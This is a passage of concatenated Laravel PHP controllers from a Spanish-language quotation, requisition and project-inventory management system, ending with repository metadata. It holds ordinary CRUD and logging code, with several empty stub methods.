redirect('/cotizaciones')->with('mensaje','Cotización dada de baja'); }catch(\Exception $e){ return redirect('/cotizaciones/create')->with('error','Ocurrió un error, contacte al administrador'); } } public function alta($id) { try{ $cotizacion = Cotizacion::find($id); $cotizacion->estado=1; $cotizacion->motivo=null; $cotizacion->fechabaja=null; $cotizacion->save(); Bitacora::bitacora('Dió de alta a un cotizacion'); return redirect('/cotizaciones')->with('mensaje','Cotización dada de alta'); }catch(\Exception $e){ return redirect('/cotizaciones/create')->with('error','Ocurrió un error, contacte al administrador'); } } } <file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Requisiciondetalle; use App\UnidadMedida; use App\Http\Requests\RequisiciondetalleRequest; class RequisiciondetalleController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function __construct() { $this->middleware('auth'); } public function index() { // } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create($id) { $medidas=UnidadMedida::all(); return view('requisiciones.detalle.create',compact('id','medidas')); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(RequisiciondetalleRequest $request) { try{ Requisiciondetalle::create($request->All()); return redirect('requisiciones/'.$request->requisicion_id); }catch (\Exception $e){ return redirect('requisiciones')->with('error',$e->getMessage()); } } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { // } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $requisicion=Requisiciondetalle::findorFail($id); $medidas=UnidadMedida::all(); return view('requisiciones.detalle.edit',compact('requisicion','medidas')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(RequisiciondetalleRequest $request,$id) { $requisiciondetalle=Requisiciondetalle::findorFail($id); $requisiciondetalle->fill($request->All()); $requisiciondetalle->save(); return redirect('requisiciones/'.$request->requisicion_id)->with('mensaje','Se modifico con exito'); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy(Requisiciondetalle $requisiciondetalle) { $requisiciondetalle->delete(); return redirect('requisiciones')->with('mensaje','Se eliminó con exito'); } } <file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\ProyectoInventario; class ProyectoInventarioController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function getMaterial($id) { return ProyectoInventario::with('proyecto')->findorFail($id); } public function index(Request $request) { $inventarios = ProyectoInventario::where('proyecto_id',$request->get('proyecto'))->orderBy('descripcion')->get(); //dd($inventarios); return view('inventarios.index',compact('inventarios')); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { // } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { if($request->Ajax()) { try{ $id=$request->idm; $desc=$request->desc; $inventario=ProyectoInventario::findorFail($id); $inventario->cantidad=$inventario->cantidad-$desc; $inventario->save(); return response()->json([ 'mensaje' => 'exito', 'proyecto' => $request->idp ]); }catch(\Exception $e){ return response()->json([ 'mensaje' => 'error' ]); } } } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { // } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { // } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } } <file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Cotizacion; use App\Detallecotizacion; use App\Bitacora; class DetallecotizacionController extends Controller { /** * Display a listing of resource. *the * @return \Illuminate\Http\Response */ public function __construct() { $this->middleware('auth'); } public function index() { $detallecotizaciones = Detallecotizacion::all(); return view('detallecotizaciones.index',compact('detallecotizaciones')); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $cotizaciones = Cotizacion::all(); $detallecotizaciones = Detallecotizacion::all(); return view('detallecotizaciones.create',compact('cotizaciones','detallecotizaciones')); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { Detallecotizacion::create($request->All()); bitacora('Registró detalles'); return redirect('detallecotizaciones')->with('mensaje', 'Detalle registrado'); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { // } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { // } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } }
dc8d24587f99d7721f0d15d82ae6ee2b670ed81e
[ "JavaScript", "PHP" ]
85
PHP
melara0606/sistema-german
3b4841ae8ec179c3a21dfba2b2162f791f8dd052
e7c02853659255bc170dc7946ddf3bdfb6b907fc